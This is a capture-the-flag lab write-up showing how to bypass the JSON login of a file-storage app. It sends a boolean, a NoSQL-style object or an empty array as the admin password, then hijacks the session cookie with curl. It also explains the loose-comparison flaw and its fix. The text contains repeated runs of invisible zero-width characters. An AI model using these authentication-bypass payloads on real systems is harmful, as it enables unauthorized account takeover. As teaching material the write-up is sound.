Lab 16 — FileGate — Authentication Bypass in API Login

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: boolean_password_injection, honeypot_flag_detection, javascript_type_coercion_bypass, json_type_abuse, session_hijacking

Summary

Walkthrough of the CUSTOM Web Lab 16 — FileGate — Authentication Bypass in API Login. Task: File storage platform with JSON API login endpoint vulnerable to JavaScript type coercion in password comparison. Solution: Send boolean true as password in JSON body to bypass authentication vi

Description

FileGate is a secure file storage and sharing platform for development teams. The platform features file management, team collaboration, granular access controls, and an admin configuration panel. The application has both a traditional web login form and a JSON API login endpoint. The objective is to bypass authentication and gain admin access. The flag is displayed on the admin configuration page (/admin/config). Hint: "Think about how JavaScript's type coercion might affect password comparison." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Secure file storage platform with Express.js backend. Two login mechanisms: form-based POST to /login and JSON API at /api/auth/login. Goal is to bypass admin authentication and access /admin/config to retrieve the flag. Test credentials provided: user@test.com / password123, admin email: admin@filegate.io.

Analysis

1. Reconnaissance: The application runs on Express.js (revealed by X-Powered-By: Express header). The main page redirects to /login. Every HTML page contains decoy honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments and hidden divs — designed to trick automated scanners and AI agents. These are fake and were correctly ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Two login endpoints discovered:

   • POST /login — traditional form-based login (application/x-www-form-urlencoded)
   • POST /api/auth/login — JSON API endpoint (application/json)

3. Test credentials work: Logging in as user@test.com / password123 via either endpoint succeeds, returning a session cookie (connect.sid) and confirming the user is "Test User" with role "member".

4. JSON API accepts arbitrary types: The critical difference between form-based and JSON API login is that JSON allows sending non-string types as field values. A form POST always sends strings, but JSON can encode booleans, arrays, objects, numbers, and null. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

5. Vulnerability — Loose comparison / truthy check: The server-side password verification likely uses JavaScript loose comparison (==) or a simple truthy check (if (password)) rather than strict string comparison. When password: true is sent:

   • true == "any_non_empty_string" evaluates to true in JavaScript (both are truthy, and == coerces types)
   • A simple if (password) check passes since true is truthy
   • This bypasses the actual password hash/string comparison entirely ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

6. Multiple bypass vectors confirmed:

   • password: true (boolean) → SUCCESS — primary intended vulnerability
   • password: {"$ne": ""} (NoSQL-style object) → SUCCESS — secondary vector
   • password: [] (empty array) → SUCCESS — tertiary vector
   • password: 0 (number zero) → FAILED — falsy value rejected
   • password: null → FAILED — null triggers "Email and password are required" validation

Solution

Step 1: Identify the JSON API endpoint

Test that the API endpoint exists and accepts JSON: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
curl -s -X POST "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Response:

 json read-only • copy allowed Copy
{"success": true, "user": {"id": 2, "name": "Test User", "email": "user@test.com", "role": "member"}}

Step 2: Type coercion bypass — Send boolean true as password

 bash read-only • copy allowed Copy
curl -s -X POST "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@filegate.io","password":true}' \
  -c cookies.txt

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

 json read-only • copy allowed Copy
{"success": true, "user": {"id": 1, "name": "Admin", "email": "admin@filegate.io", "role": "admin"}}

The boolean true bypasses the password check entirely due to JavaScript type coercion.

Step 3: Access admin configuration page with the session cookie

 bash read-only • copy allowed Copy
curl -s -b cookies.txt \
  "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/admin/config"

The /admin/config page displays a System Configuration table. The flag is in the master_api_key row.

Why this works — JavaScript type coercion explained

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerable server code likely resembles:

 javascript read-only • copy allowed Copy
// Vulnerable: loose comparison or truthy check
app.post('/api/auth/login', (req, res) => {
  const { email, password } = req.body;
  const user = findUserByEmail(email);
  
  // BAD: truthy check instead of string comparison
  if (user && password) {
    // or BAD: loose comparison  →  true == "actualPassword123"  →  true
    req.session.user = user;
    return res.json({ success: true, user });
  }
});

The fix would be to validate that password is a string before comparison: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 javascript read-only • copy allowed Copy
if (typeof password !== 'string') {
  return res.status(400).json({ error: 'Password must be a string' });
}
// Then use strict comparison with bcrypt.compare() or similar

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering boolean_password_injection, honeypot_flag_detection, javascript_type_coercion_bypass, json_type_abuse, session_hijacking was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 16 — FileGate — Authentication Bypass in API Login • Difficulty: Easy